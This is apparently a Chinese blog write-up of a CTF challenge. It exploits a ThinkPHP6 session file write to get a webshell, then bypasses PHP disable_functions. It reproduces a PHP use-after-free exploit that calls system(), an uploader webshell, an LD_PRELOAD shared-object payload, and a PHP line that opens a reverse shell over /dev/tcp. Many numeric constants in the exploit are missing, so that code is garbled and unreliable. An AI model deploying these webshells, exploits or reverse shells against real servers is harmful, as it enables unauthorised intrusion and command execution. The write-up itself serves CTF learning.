前期储备:ThinkPHP6 任意文件操作漏洞分析 https://paper.seebug.org/1114/

学习链接:

https://www.freebuf.com/articles/web/192052.html

https://bugs.php.net/bug.php?id=72530

https://www.gem-love.com/ctf/1669.html#easy_thinking

https://www.jianshu.com/p/b0a130fe5c4d

复现:

源码泄露,看了一下是tp6框架,代码审计一下

常见的系统命令函数:

修改session,长度为32位,session后缀改为.php{加上.php后为32位}

在搜索框搜索的内容会直接保存在/runtime/session/目录下,直接getshell

但是上传了一句话连不上去(菜刀8行,可以用antsword),看一下phpinfo,发现许多函数都被ban了,这里学习到了师傅的方法:https://www.gem-love.com/ctf/1669.html#easy_thinking

exp:https://github.com/mm0r1/exploits

<?php

pwn("/readflag"); //这里是想要执行的系统命令

function pwn($cmd) {
global $abc, $helper; function str2ptr(&$str, $p = , $s = ) {
$address = ;
for($j = $s-; $j >= ; $j--) {
$address <<= ;
$address |= ord($str[$p+$j]);
}
return $address;
} function ptr2str($ptr, $m = ) {
$out = "";
for ($i=; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= ;
}
return $out;
} function write(&$str, $p, $v, $n = ) {
$i = ;
for($i = ; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= ;
}
} function leak($addr, $p = , $s = ) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != ) { $leak %= << ($s * ) - ; }
return $leak;
} function parse_elf($base) {
$e_type = leak($base, 0x10, ); $e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, );
$e_phnum = leak($base, 0x38, ); for($i = ; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, , );
$p_flags = leak($header, , );
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28); if($p_type == && $p_flags == ) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == && $p_flags == ) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
} if(!$data_addr || !$text_size || !$data_size)
return false; return [$data_addr, $text_size, $data_size];
} function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = ; $i < $data_size / ; $i++) {
$leak = leak($data_addr, $i * );
if($leak - $base > && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue; $leak = leak($data_addr, ($i + ) * );
if($leak - $base > && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue; return $data_addr + $i * ;
}
} function get_binary_base($binary_leak) {
$base = ;
$start = $binary_leak & 0xfffffffffffff000;
for($i = ; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, , );
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
} function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, , ); if($f_name == 0x6d6574737973) { # system
return leak($addr + );
}
$addr += 0x20;
} while($f_entry != );
return false;
} class ryat {
var $ryat;
var $chtg; function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = ;
}
} class Helper {
public $a, $b, $c, $d;
} if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
} $n_alloc = ; # increase this value if you get segfaults $contiguous = [];
for($i = ; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', ); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles(); $v = [];
$v[] = ptr2str(, );
unset($v);
$abc = $out[][]; $helper = new Helper;
$helper->b = function ($x) { }; if(strlen($abc) == || strlen($abc) == ) {
die("UAF failed");
} # leaks
$closure_handlers = str2ptr($abc, );
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8; # fake value
write($abc, 0x60, );
write($abc, 0x70, ); # fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, );
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
} if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
} if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
} if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
} # fake closure object
$fake_obj_offset = 0xd0;
for($i = ; $i < 0x110; $i += ) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
} # pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, , ); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit();
}

bypss这些函数要使用到脚本,可是不可能一次性上传大的脚本,于是写了个小马,构造一个表单上传脚本

<?php if(@$_GET["act"]=="save"){if(isset($_POST["content"])&&isset($_POST["name"])){if($_POST["content"]!=""&&$_POST["name"]!=""){if(fwrite(fopen(stripslashes($_POST["name"]),"w"),stripslashes($_POST["content"]))){echo "OK! <a href=\"".stripslashes($_POST["name"])."\">".stripslashes($_POST["name"])."</a>";};}}}else{if(@$_GET["act"]=="godsdoor"){echo '<meta charset="utf-8"><form action="?act=save" method="post">content:<br/><textarea name="content" ></textarea><br/>filenane:<br/><input name="name"/><br/><input type="submit" value="GO!"></form>';}}
?>

上面师傅的blog里还学到了另一个情况,(2019第十届极客挑战赛RCE ME)

通常情况下使用LD_PRELOAD劫持系统函数,参考https://www.freebuf.com/articles/web/192052.html

但是这个题ban了mail(),所以不能用。

与本题类似题目:

2019高校网络信息安全管理运维挑战赛的expass,利用php2016年的漏洞https://bugs.php.net/bug.php?id=72530

脚本是一样的 (师傅tpl!!!)

小记  一般导致webshell不能执行命令的原因

一是 php.ini 中用 disable_functions 指示器禁用了 system()、exec() 等等这类命令执行的相关函数;
二是 web 进程运行在 rbash 这类受限 shell 环境中;
三是 WAF 拦劫。若是一则无法执行任何命令,
若是二、三则可以执行少量命令。从当前现象来看,很可能由 disable_functions 所致。利用前面的 RCE 漏洞执行 phpinfo()可查证推测

绕过思路:

有四种绕过 disable_functions 的手法:
第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;
第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;
第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;
第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果(要求PHP支持 putenv()、mail())
如果mail(),putenv()被ban了,就试一下介个脚本

官方wp:

看了官方wp--------------

如果phpinfo里面有 gnupg 拓展,该拓展能够实现在 php 中使用 gpg 加密,测试可以发现使用 gnupg 拓展下的 gnupg_init() 函数 可以进行 bypass。

exp.c

#include <stdlib.h>
__attribute__((constructor)) void j0k3r(){
unsetenv("LD_PRELOAD");
if (getenv("cmd") != NULL){
system(getenv("cmd"));
}else{
system("echo 'no cmd' > /tmp/cmd.output");
}
}

将本地生成exp.so  (  gcc --share -fPIC exp.c -o exp.so  )传入/tmp/下

再传入

<?php putenv("cmd=/bin/bash -c 'bash -i >& /dev/tcp/host/port 0>&1'");putenv("LD_PRELOAD=/tmp/exp.so");gnupg_init();?>

反弹shell,读取文件就可以了

但是我刚开官方wp的时候,很迷惑,mail函数已经被ban了,为什么还可以用LD_PRELOAD突破bypass?????

在buu上复现的时候不行耶。。。。  我去研究研究。。。。。知道了再来写

最新文章

  1. NSOperationQueue的基本使用
  2. Python 正则表达式:只要整数和小数
  3. 《Java语言程序设计》上机实验
  4. vi的查找与替换
  5. Orchard基本概念
  6. 怎么让alert弹出框的内容可以换行?
  7. #ifdef __cplusplus extern &quot;C&quot;
  8. Android应用开发多语言drawable目录
  9. (二)跟我一起玩Linux网络服务:BIND的自动部署(附上完整的代码)
  10. 转:45 Useful JavaScript Tips, Tricks and Best Practices
  11. 第2章 简单工厂模式(Sample Factory)
  12. Shell 流程控制-if for case while until break continue
  13. AJAX 在手机上用时
  14. error C2664: “UINT GetDriveTypeW(LPCWSTR)”: 无法将参数 1 从“char [5]”转换为“LPCWSTR”
  15. IOS学习7——cocoapod安装与使用教程
  16. linux 使用sh@d0ws0cks client
  17. linux 值安装yum包
  18. string截取、替换、查找子串函数,find_first_of 用法
  19. Netty源码分析第1章(Netty启动流程)----&gt;第3节: 服务端channel初始化
  20. source .bashrc 报错:virtualenvwrapper.sh: There was a problem running the initialization hooks.

热门文章

  1. k8s系列---存储卷pv/pvc。configMap/secert
  2. zabbix 自定义监控项报警给单独的人
  3. HDU 2018 DP
  4. Java的七大排序
  5. 前端之gojs插件的基本使用
  6. Linux下通过二进制方式安装mysql5.7版本和系统优化
  7. 学习jQuery基础语法,并通过一个案例引出jQuery的核心
  8. android编译/反编译常用工具及项目依赖关系
  9. external IP 和 local IP 的区别
  10. 【python基础语法】国庆扩展练习题